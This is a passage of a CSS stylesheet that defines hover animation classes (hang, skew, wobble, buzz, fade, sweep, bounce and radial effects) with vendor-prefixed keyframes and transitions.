translateY(8px); transform: translateY(8px); } 50% { -webkit-transform: translateY(4px); transform: translateY(4px); } 100% { -webkit-transform: translateY(8px); transform: translateY(8px); } } @-webkit-keyframes hvr-hang-sink { 100% { -webkit-transform: translateY(8px); transform: translateY(8px); } } @keyframes hvr-hang-sink { 100% { -webkit-transform: translateY(8px); transform: translateY(8px); } } .hvr-hang { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; } .hvr-hang:hover, .hvr-hang:focus, .hvr-hang:active { -webkit-animation-name: hvr-hang-sink, hvr-hang; animation-name: hvr-hang-sink, hvr-hang; -webkit-animation-duration: .3s, 1.5s; animation-duration: .3s, 1.5s; -webkit-animation-delay: 0s, .3s; animation-delay: 0s, .3s; -webkit-animation-timing-function: ease-out, ease-in-out; animation-timing-function: ease-out, ease-in-out; -webkit-animation-iteration-count: 1, infinite; animation-iteration-count: 1, infinite; -webkit-animation-fill-mode: forwards; animation-fill-mode: forwards; -webkit-animation-direction: normal, alternate; animation-direction: normal, alternate; } /* Skew */ .hvr-skew { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-transition-property: transform; transition-property: transform; } .hvr-skew:hover, .hvr-skew:focus, .hvr-skew:active { -webkit-transform: skew(-10deg); transform: skew(-10deg); } /* Skew Forward */ .hvr-skew-forward { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-transition-property: transform; transition-property: transform; -webkit-transform-origin: 0 100%; transform-origin: 0 100%; } .hvr-skew-forward:hover, .hvr-skew-forward:focus, .hvr-skew-forward:active { -webkit-transform: skew(-10deg); transform: skew(-10deg); } /* Skew Backward */ .hvr-skew-backward { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-transition-property: transform; transition-property: transform; -webkit-transform-origin: 0 100%; transform-origin: 0 100%; } .hvr-skew-backward:hover, .hvr-skew-backward:focus, .hvr-skew-backward:active { -webkit-transform: skew(10deg); transform: skew(10deg); } /* Wobble Vertical */ @-webkit-keyframes hvr-wobble-vertical { 16.65% { -webkit-transform: translateY(8px); transform: translateY(8px); } 33.3% { -webkit-transform: translateY(-6px); transform: translateY(-6px); } 49.95% { -webkit-transform: translateY(4px); transform: translateY(4px); } 66.6% { -webkit-transform: translateY(-2px); transform: translateY(-2px); } 83.25% { -webkit-transform: translateY(1px); transform: translateY(1px); } 100% { -webkit-transform: translateY(0); transform: translateY(0); } } @keyframes hvr-wobble-vertical { 16.65% { -webkit-transform: translateY(8px); transform: translateY(8px); } 33.3% { -webkit-transform: translateY(-6px); transform: translateY(-6px); } 49.95% { -webkit-transform: translateY(4px); transform: translateY(4px); } 66.6% { -webkit-transform: translateY(-2px); transform: translateY(-2px); } 83.25% { -webkit-transform: translateY(1px); transform: translateY(1px); } 100% { -webkit-transform: translateY(0); transform: translateY(0); } } .hvr-wobble-vertical { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; } .hvr-wobble-vertical:hover, .hvr-wobble-vertical:focus, .hvr-wobble-vertical:active { -webkit-animation-name: hvr-wobble-vertical; animation-name: hvr-wobble-vertical; -webkit-animation-duration: 1s; animation-duration: 1s; -webkit-animation-timing-function: ease-in-out; animation-timing-function: ease-in-out; -webkit-animation-iteration-count: 1; animation-iteration-count: 1; } /* Wobble Horizontal */ @-webkit-keyframes hvr-wobble-horizontal { 16.65% { -webkit-transform: translateX(8px); transform: translateX(8px); } 33.3% { -webkit-transform: translateX(-6px); transform: translateX(-6px); } 49.95% { -webkit-transform: translateX(4px); transform: translateX(4px); } 66.6% { -webkit-transform: translateX(-2px); transform: translateX(-2px); } 83.25% { -webkit-transform: translateX(1px); transform: translateX(1px); } 100% { -webkit-transform: translateX(0); transform: translateX(0); } } @keyframes hvr-wobble-horizontal { 16.65% { -webkit-transform: translateX(8px); transform: translateX(8px); } 33.3% { -webkit-transform: translateX(-6px); transform: translateX(-6px); } 49.95% { -webkit-transform: translateX(4px); transform: translateX(4px); } 66.6% { -webkit-transform: translateX(-2px); transform: translateX(-2px); } 83.25% { -webkit-transform: translateX(1px); transform: translateX(1px); } 100% { -webkit-transform: translateX(0); transform: translateX(0); } } .hvr-wobble-horizontal { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; } .hvr-wobble-horizontal:hover, .hvr-wobble-horizontal:focus, .hvr-wobble-horizontal:active { -webkit-animation-name: hvr-wobble-horizontal; animation-name: hvr-wobble-horizontal; -webkit-animation-duration: 1s; animation-duration: 1s; -webkit-animation-timing-function: ease-in-out; animation-timing-function: ease-in-out; -webkit-animation-iteration-count: 1; animation-iteration-count: 1; } /* Wobble To Bottom Right */ @-webkit-keyframes hvr-wobble-to-bottom-right { 16.65% { -webkit-transform: translate(8px, 8px); transform: translate(8px, 8px); } 33.3% { -webkit-transform: translate(-6px, -6px); transform: translate(-6px, -6px); } 49.95% { -webkit-transform: translate(4px, 4px); transform: translate(4px, 4px); } 66.6% { -webkit-transform: translate(-2px, -2px); transform: translate(-2px, -2px); } 83.25% { -webkit-transform: translate(1px, 1px); transform: translate(1px, 1px); } 100% { -webkit-transform: translate(0, 0); transform: translate(0, 0); } } @keyframes hvr-wobble-to-bottom-right { 16.65% { -webkit-transform: translate(8px, 8px); transform: translate(8px, 8px); } 33.3% { -webkit-transform: translate(-6px, -6px); transform: translate(-6px, -6px); } 49.95% { -webkit-transform: translate(4px, 4px); transform: translate(4px, 4px); } 66.6% { -webkit-transform: translate(-2px, -2px); transform: translate(-2px, -2px); } 83.25% { -webkit-transform: translate(1px, 1px); transform: translate(1px, 1px); } 100% { -webkit-transform: translate(0, 0); transform: translate(0, 0); } } .hvr-wobble-to-bottom-right { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; } .hvr-wobble-to-bottom-right:hover, .hvr-wobble-to-bottom-right:focus, .hvr-wobble-to-bottom-right:active { -webkit-animation-name: hvr-wobble-to-bottom-right; animation-name: hvr-wobble-to-bottom-right; -webkit-animation-duration: 1s; animation-duration: 1s; -webkit-animation-timing-function: ease-in-out; animation-timing-function: ease-in-out; -webkit-animation-iteration-count: 1; animation-iteration-count: 1; } /* Wobble To Top Right */ @-webkit-keyframes hvr-wobble-to-top-right { 16.65% { -webkit-transform: translate(8px, -8px); transform: translate(8px, -8px); } 33.3% { -webkit-transform: translate(-6px, 6px); transform: translate(-6px, 6px); } 49.95% { -webkit-transform: translate(4px, -4px); transform: translate(4px, -4px); } 66.6% { -webkit-transform: translate(-2px, 2px); transform: translate(-2px, 2px); } 83.25% { -webkit-transform: translate(1px, -1px); transform: translate(1px, -1px); } 100% { -webkit-transform: translate(0, 0); transform: translate(0, 0); } } @keyframes hvr-wobble-to-top-right { 16.65% { -webkit-transform: translate(8px, -8px); transform: translate(8px, -8px); } 33.3% { -webkit-transform: translate(-6px, 6px); transform: translate(-6px, 6px); } 49.95% { -webkit-transform: translate(4px, -4px); transform: translate(4px, -4px); } 66.6% { -webkit-transform: translate(-2px, 2px); transform: translate(-2px, 2px); } 83.25% { -webkit-transform: translate(1px, -1px); transform: translate(1px, -1px); } 100% { -webkit-transform: translate(0, 0); transform: translate(0, 0); } } .hvr-wobble-to-top-right { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; } .hvr-wobble-to-top-right:hover, .hvr-wobble-to-top-right:focus, .hvr-wobble-to-top-right:active { -webkit-animation-name: hvr-wobble-to-top-right; animation-name: hvr-wobble-to-top-right; -webkit-animation-duration: 1s; animation-duration: 1s; -webkit-animation-timing-function: ease-in-out; animation-timing-function: ease-in-out; -webkit-animation-iteration-count: 1; animation-iteration-count: 1; } /* Wobble Top */ @-webkit-keyframes hvr-wobble-top { 16.65% { -webkit-transform: skew(-12deg); transform: skew(-12deg); } 33.3% { -webkit-transform: skew(10deg); transform: skew(10deg); } 49.95% { -webkit-transform: skew(-6deg); transform: skew(-6deg); } 66.6% { -webkit-transform: skew(4deg); transform: skew(4deg); } 83.25% { -webkit-transform: skew(-2deg); transform: skew(-2deg); } 100% { -webkit-transform: skew(0); transform: skew(0); } } @keyframes hvr-wobble-top { 16.65% { -webkit-transform: skew(-12deg); transform: skew(-12deg); } 33.3% { -webkit-transform: skew(10deg); transform: skew(10deg); } 49.95% { -webkit-transform: skew(-6deg); transform: skew(-6deg); } 66.6% { -webkit-transform: skew(4deg); transform: skew(4deg); } 83.25% { -webkit-transform: skew(-2deg); transform: skew(-2deg); } 100% { -webkit-transform: skew(0); transform: skew(0); } } .hvr-wobble-top { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; -webkit-transform-origin: 0 100%; transform-origin: 0 100%; } .hvr-wobble-top:hover, .hvr-wobble-top:focus, .hvr-wobble-top:active { -webkit-animation-name: hvr-wobble-top; animation-name: hvr-wobble-top; -webkit-animation-duration: 1s; animation-duration: 1s; -webkit-animation-timing-function: ease-in-out; animation-timing-function: ease-in-out; -webkit-animation-iteration-count: 1; animation-iteration-count: 1; } /* Wobble Bottom */ @-webkit-keyframes hvr-wobble-bottom { 16.65% { -webkit-transform: skew(-12deg); transform: skew(-12deg); } 33.3% { -webkit-transform: skew(10deg); transform: skew(10deg); } 49.95% { -webkit-transform: skew(-6deg); transform: skew(-6deg); } 66.6% { -webkit-transform: skew(4deg); transform: skew(4deg); } 83.25% { -webkit-transform: skew(-2deg); transform: skew(-2deg); } 100% { -webkit-transform: skew(0); transform: skew(0); } } @keyframes hvr-wobble-bottom { 16.65% { -webkit-transform: skew(-12deg); transform: skew(-12deg); } 33.3% { -webkit-transform: skew(10deg); transform: skew(10deg); } 49.95% { -webkit-transform: skew(-6deg); transform: skew(-6deg); } 66.6% { -webkit-transform: skew(4deg); transform: skew(4deg); } 83.25% { -webkit-transform: skew(-2deg); transform: skew(-2deg); } 100% { -webkit-transform: skew(0); transform: skew(0); } } .hvr-wobble-bottom { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; -webkit-transform-origin: 100% 0; transform-origin: 100% 0; } .hvr-wobble-bottom:hover, .hvr-wobble-bottom:focus, .hvr-wobble-bottom:active { -webkit-animation-name: hvr-wobble-bottom; animation-name: hvr-wobble-bottom; -webkit-animation-duration: 1s; animation-duration: 1s; -webkit-animation-timing-function: ease-in-out; animation-timing-function: ease-in-out; -webkit-animation-iteration-count: 1; animation-iteration-count: 1; } /* Wobble Skew */ @-webkit-keyframes hvr-wobble-skew { 16.65% { -webkit-transform: skew(-12deg); transform: skew(-12deg); } 33.3% { -webkit-transform: skew(10deg); transform: skew(10deg); } 49.95% { -webkit-transform: skew(-6deg); transform: skew(-6deg); } 66.6% { -webkit-transform: skew(4deg); transform: skew(4deg); } 83.25% { -webkit-transform: skew(-2deg); transform: skew(-2deg); } 100% { -webkit-transform: skew(0); transform: skew(0); } } @keyframes hvr-wobble-skew { 16.65% { -webkit-transform: skew(-12deg); transform: skew(-12deg); } 33.3% { -webkit-transform: skew(10deg); transform: skew(10deg); } 49.95% { -webkit-transform: skew(-6deg); transform: skew(-6deg); } 66.6% { -webkit-transform: skew(4deg); transform: skew(4deg); } 83.25% { -webkit-transform: skew(-2deg); transform: skew(-2deg); } 100% { -webkit-transform: skew(0); transform: skew(0); } } .hvr-wobble-skew { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; } .hvr-wobble-skew:hover, .hvr-wobble-skew:focus, .hvr-wobble-skew:active { -webkit-animation-name: hvr-wobble-skew; animation-name: hvr-wobble-skew; -webkit-animation-duration: 1s; animation-duration: 1s; -webkit-animation-timing-function: ease-in-out; animation-timing-function: ease-in-out; -webkit-animation-iteration-count: 1; animation-iteration-count: 1; } /* Buzz */ @-webkit-keyframes hvr-buzz { 50% { -webkit-transform: translateX(3px) rotate(2deg); transform: translateX(3px) rotate(2deg); } 100% { -webkit-transform: translateX(-3px) rotate(-2deg); transform: translateX(-3px) rotate(-2deg); } } @keyframes hvr-buzz { 50% { -webkit-transform: translateX(3px) rotate(2deg); transform: translateX(3px) rotate(2deg); } 100% { -webkit-transform: translateX(-3px) rotate(-2deg); transform: translateX(-3px) rotate(-2deg); } } .hvr-buzz { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; } .hvr-buzz:hover, .hvr-buzz:focus, .hvr-buzz:active { -webkit-animation-name: hvr-buzz; animation-name: hvr-buzz; -webkit-animation-duration: 0.15s; animation-duration: 0.15s; -webkit-animation-timing-function: linear; animation-timing-function: linear; -webkit-animation-iteration-count: infinite; animation-iteration-count: infinite; } /* Buzz Out */ @-webkit-keyframes hvr-buzz-out { 10% { -webkit-transform: translateX(3px) rotate(2deg); transform: translateX(3px) rotate(2deg); } 20% { -webkit-transform: translateX(-3px) rotate(-2deg); transform: translateX(-3px) rotate(-2deg); } 30% { -webkit-transform: translateX(3px) rotate(2deg); transform: translateX(3px) rotate(2deg); } 40% { -webkit-transform: translateX(-3px) rotate(-2deg); transform: translateX(-3px) rotate(-2deg); } 50% { -webkit-transform: translateX(2px) rotate(1deg); transform: translateX(2px) rotate(1deg); } 60% { -webkit-transform: translateX(-2px) rotate(-1deg); transform: translateX(-2px) rotate(-1deg); } 70% { -webkit-transform: translateX(2px) rotate(1deg); transform: translateX(2px) rotate(1deg); } 80% { -webkit-transform: translateX(-2px) rotate(-1deg); transform: translateX(-2px) rotate(-1deg); } 90% { -webkit-transform: translateX(1px) rotate(0); transform: translateX(1px) rotate(0); } 100% { -webkit-transform: translateX(-1px) rotate(0); transform: translateX(-1px) rotate(0); } } @keyframes hvr-buzz-out { 10% { -webkit-transform: translateX(3px) rotate(2deg); transform: translateX(3px) rotate(2deg); } 20% { -webkit-transform: translateX(-3px) rotate(-2deg); transform: translateX(-3px) rotate(-2deg); } 30% { -webkit-transform: translateX(3px) rotate(2deg); transform: translateX(3px) rotate(2deg); } 40% { -webkit-transform: translateX(-3px) rotate(-2deg); transform: translateX(-3px) rotate(-2deg); } 50% { -webkit-transform: translateX(2px) rotate(1deg); transform: translateX(2px) rotate(1deg); } 60% { -webkit-transform: translateX(-2px) rotate(-1deg); transform: translateX(-2px) rotate(-1deg); } 70% { -webkit-transform: translateX(2px) rotate(1deg); transform: translateX(2px) rotate(1deg); } 80% { -webkit-transform: translateX(-2px) rotate(-1deg); transform: translateX(-2px) rotate(-1deg); } 90% { -webkit-transform: translateX(1px) rotate(0); transform: translateX(1px) rotate(0); } 100% { -webkit-transform: translateX(-1px) rotate(0); transform: translateX(-1px) rotate(0); } } .hvr-buzz-out { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; } .hvr-buzz-out:hover, .hvr-buzz-out:focus, .hvr-buzz-out:active { -webkit-animation-name: hvr-buzz-out; animation-name: hvr-buzz-out; -webkit-animation-duration: 0.75s; animation-duration: 0.75s; -webkit-animation-timing-function: linear; animation-timing-function: linear; -webkit-animation-iteration-count: 1; animation-iteration-count: 1; } /* BACKGROUND TRANSITIONS */ /* Fade */ .hvr-fade { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; overflow: hidden; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-transition-property: color, background-color; transition-property: color, background-color; } .hvr-fade:hover, .hvr-fade:focus, .hvr-fade:active { background-color: #2098d1; color: white; } /* Back Pulse */ @-webkit-keyframes hvr-back-pulse { 50% { background-color: rgba(32, 152, 209, 0.75); } } @keyframes hvr-back-pulse { 50% { background-color: rgba(32, 152, 209, 0.75); } } .hvr-back-pulse { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; overflow: hidden; -webkit-transition-duration: 0.5s; transition-duration: 0.5s; -webkit-transition-property: color, background-color; transition-property: color, background-color; } .hvr-back-pulse:hover, .hvr-back-pulse:focus, .hvr-back-pulse:active { -webkit-animation-name: hvr-back-pulse; animation-name: hvr-back-pulse; -webkit-animation-duration: 1s; animation-duration: 1s; -webkit-animation-delay: 0.5s; animation-delay: 0.5s; -webkit-animation-timing-function: linear; animation-timing-function: linear; -webkit-animation-iteration-count: infinite; animation-iteration-count: infinite; background-color: #2098d1; background-color: #2098d1; color: white; } /* Sweep To Right */ .hvr-sweep-to-right { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; position: relative; -webkit-transition-property: color; transition-property: color; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; } .hvr-sweep-to-right:before { content: ""; position: absolute; z-index: -1; top: 0; left: 0; right: 0; bottom: 0; background: #2098d1; -webkit-transform: scaleX(0); transform: scaleX(0); -webkit-transform-origin: 0 50%; transform-origin: 0 50%; -webkit-transition-property: transform; transition-property: transform; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-transition-timing-function: ease-out; transition-timing-function: ease-out; } .hvr-sweep-to-right:hover, .hvr-sweep-to-right:focus, .hvr-sweep-to-right:active { color: white; } .hvr-sweep-to-right:hover:before, .hvr-sweep-to-right:focus:before, .hvr-sweep-to-right:active:before { -webkit-transform: scaleX(1); transform: scaleX(1); } /* Sweep To Left */ .hvr-sweep-to-left { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; position: relative; -webkit-transition-property: color; transition-property: color; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; } .hvr-sweep-to-left:before { content: ""; position: absolute; z-index: -1; top: 0; left: 0; right: 0; bottom: 0; background: #2098d1; -webkit-transform: scaleX(0); transform: scaleX(0); -webkit-transform-origin: 100% 50%; transform-origin: 100% 50%; -webkit-transition-property: transform; transition-property: transform; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-transition-timing-function: ease-out; transition-timing-function: ease-out; } .hvr-sweep-to-left:hover, .hvr-sweep-to-left:focus, .hvr-sweep-to-left:active { color: white; } .hvr-sweep-to-left:hover:before, .hvr-sweep-to-left:focus:before, .hvr-sweep-to-left:active:before { -webkit-transform: scaleX(1); transform: scaleX(1); } /* Sweep To Bottom */ .hvr-sweep-to-bottom { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; position: relative; -webkit-transition-property: color; transition-property: color; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; } .hvr-sweep-to-bottom:before { content: ""; position: absolute; z-index: -1; top: 0; left: 0; right: 0; bottom: 0; background: #2098d1; -webkit-transform: scaleY(0); transform: scaleY(0); -webkit-transform-origin: 50% 0; transform-origin: 50% 0; -webkit-transition-property: transform; transition-property: transform; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-transition-timing-function: ease-out; transition-timing-function: ease-out; } .hvr-sweep-to-bottom:hover, .hvr-sweep-to-bottom:focus, .hvr-sweep-to-bottom:active { color: white; } .hvr-sweep-to-bottom:hover:before, .hvr-sweep-to-bottom:focus:before, .hvr-sweep-to-bottom:active:before { -webkit-transform: scaleY(1); transform: scaleY(1); } /* Sweep To Top */ .hvr-sweep-to-top { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; position: relative; -webkit-transition-property: color; transition-property: color; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; } .hvr-sweep-to-top:before { content: ""; position: absolute; z-index: -1; top: 0; left: 0; right: 0; bottom: 0; background: #2098d1; -webkit-transform: scaleY(0); transform: scaleY(0); -webkit-transform-origin: 50% 100%; transform-origin: 50% 100%; -webkit-transition-property: transform; transition-property: transform; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-transition-timing-function: ease-out; transition-timing-function: ease-out; } .hvr-sweep-to-top:hover, .hvr-sweep-to-top:focus, .hvr-sweep-to-top:active { color: white; } .hvr-sweep-to-top:hover:before, .hvr-sweep-to-top:focus:before, .hvr-sweep-to-top:active:before { -webkit-transform: scaleY(1); transform: scaleY(1); } /* Bounce To Right */ .hvr-bounce-to-right { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; position: relative; -webkit-transition-property: color; transition-property: color; -webkit-transition-duration: 0.5s; transition-duration: 0.5s; } .hvr-bounce-to-right:before { content: ""; position: absolute; z-index: -1; top: 0; left: 0; right: 0; bottom: 0; background: #2098d1; -webkit-transform: scaleX(0); transform: scaleX(0); -webkit-transform-origin: 0 50%; transform-origin: 0 50%; -webkit-transition-property: transform; transition-property: transform; -webkit-transition-duration: 0.5s; transition-duration: 0.5s; -webkit-transition-timing-function: ease-out; transition-timing-function: ease-out; } .hvr-bounce-to-right:hover, .hvr-bounce-to-right:focus, .hvr-bounce-to-right:active { color: white; } .hvr-bounce-to-right:hover:before, .hvr-bounce-to-right:focus:before, .hvr-bounce-to-right:active:before { -webkit-transform: scaleX(1); transform: scaleX(1); -webkit-transition-timing-function: cubic-bezier(0.52, 1.64, 0.37, 0.66); transition-timing-function: cubic-bezier(0.52, 1.64, 0.37, 0.66); } /* Bounce To Left */ .hvr-bounce-to-left { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; position: relative; -webkit-transition-property: color; transition-property: color; -webkit-transition-duration: 0.5s; transition-duration: 0.5s; } .hvr-bounce-to-left:before { content: ""; position: absolute; z-index: -1; top: 0; left: 0; right: 0; bottom: 0; background: #2098d1; -webkit-transform: scaleX(0); transform: scaleX(0); -webkit-transform-origin: 100% 50%; transform-origin: 100% 50%; -webkit-transition-property: transform; transition-property: transform; -webkit-transition-duration: 0.5s; transition-duration: 0.5s; -webkit-transition-timing-function: ease-out; transition-timing-function: ease-out; } .hvr-bounce-to-left:hover, .hvr-bounce-to-left:focus, .hvr-bounce-to-left:active { color: white; } .hvr-bounce-to-left:hover:before, .hvr-bounce-to-left:focus:before, .hvr-bounce-to-left:active:before { -webkit-transform: scaleX(1); transform: scaleX(1); -webkit-transition-timing-function: cubic-bezier(0.52, 1.64, 0.37, 0.66); transition-timing-function: cubic-bezier(0.52, 1.64, 0.37, 0.66); } /* Bounce To Bottom */ .hvr-bounce-to-bottom { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; position: relative; -webkit-transition-property: color; transition-property: color; -webkit-transition-duration: 0.5s; transition-duration: 0.5s; } .hvr-bounce-to-bottom:before { content: ""; position: absolute; z-index: -1; top: 0; left: 0; right: 0; bottom: 0; background: #2098d1; -webkit-transform: scaleY(0); transform: scaleY(0); -webkit-transform-origin: 50% 0; transform-origin: 50% 0; -webkit-transition-property: transform; transition-property: transform; -webkit-transition-duration: 0.5s; transition-duration: 0.5s; -webkit-transition-timing-function: ease-out; transition-timing-function: ease-out; } .hvr-bounce-to-bottom:hover, .hvr-bounce-to-bottom:focus, .hvr-bounce-to-bottom:active { color: white; } .hvr-bounce-to-bottom:hover:before, .hvr-bounce-to-bottom:focus:before, .hvr-bounce-to-bottom:active:before { -webkit-transform: scaleY(1); transform: scaleY(1); -webkit-transition-timing-function: cubic-bezier(0.52, 1.64, 0.37, 0.66); transition-timing-function: cubic-bezier(0.52, 1.64, 0.37, 0.66); } /* Bounce To Top */ .hvr-bounce-to-top { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; position: relative; -webkit-transition-property: color; transition-property: color; -webkit-transition-duration: 0.5s; transition-duration: 0.5s; } .hvr-bounce-to-top:before { content: ""; position: absolute; z-index: -1; top: 0; left: 0; right: 0; bottom: 0; background: #2098d1; -webkit-transform: scaleY(0); transform: scaleY(0); -webkit-transform-origin: 50% 100%; transform-origin: 50% 100%; -webkit-transition-property: transform; transition-property: transform; -webkit-transition-duration: 0.5s; transition-duration: 0.5s; -webkit-transition-timing-function: ease-out; transition-timing-function: ease-out; } .hvr-bounce-to-top:hover, .hvr-bounce-to-top:focus, .hvr-bounce-to-top:active { color: white; } .hvr-bounce-to-top:hover:before, .hvr-bounce-to-top:focus:before, .hvr-bounce-to-top:active:before { -webkit-transform: scaleY(1); transform: scaleY(1); -webkit-transition-timing-function: cubic-bezier(0.52, 1.64, 0.37, 0.66); transition-timing-function: cubic-bezier(0.52, 1.64, 0.37, 0.66); } /* Radial Out */ .hvr-radial-out { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; position: relative; overflow: hidden; background: #e1e1e1; -webkit-transition-property: color; transition-property: color; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; } .hvr-radial-out:before { content: ""; position: absolute; z-index: -1; top: 0; left: 0; right: 0; bottom: 0; background: #2098d1; border-radius: 100%; -webkit-transform: scale(0); transform: scale(0); -webkit-transition-property: transform; transition-property: transform; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-transition-timing-function: ease-out; transition-timing-function: ease-out; } .hvr-radial-out:hover, .hvr-radial-out:focus, .hvr-radial-out:active { color: white; } .hvr-radial-out:hover:before, .hvr-radial-out:focus:before, .hvr-radial-out:active:before { -webkit-transform: scale(2); transform: scale(2); } /* Radial In */ .hvr-radial-in { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; position: relative; overflow: hidden; background: #2098d1; -webkit-transition-property: color; transition-property: color; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; } .hvr-radial-in:before { content: ""; position: absolute; z-index: -1; top: 0; left: 0; right: 0; bottom: 0; background: #e1e1e1; border-radius: 100%; -webkit-transform: scale(2); transform: scale(2); -webkit-transition-property: transform; transition-property: transform; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-transition-timing-function: ease-out; transition-timing-function: ease-out; } .hvr-radial-in:hover, .hvr-radial-in:focus, .hvr-radial-in:active { color: white; } .hvr-radial-in:hover:before, .hvr-radial-in:focus:before, .hvr-radial-in:active:before { -webkit-transform: scale(0); transform: scale(0); } /* Rectangle In */ .hvr-rectangle-in { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; 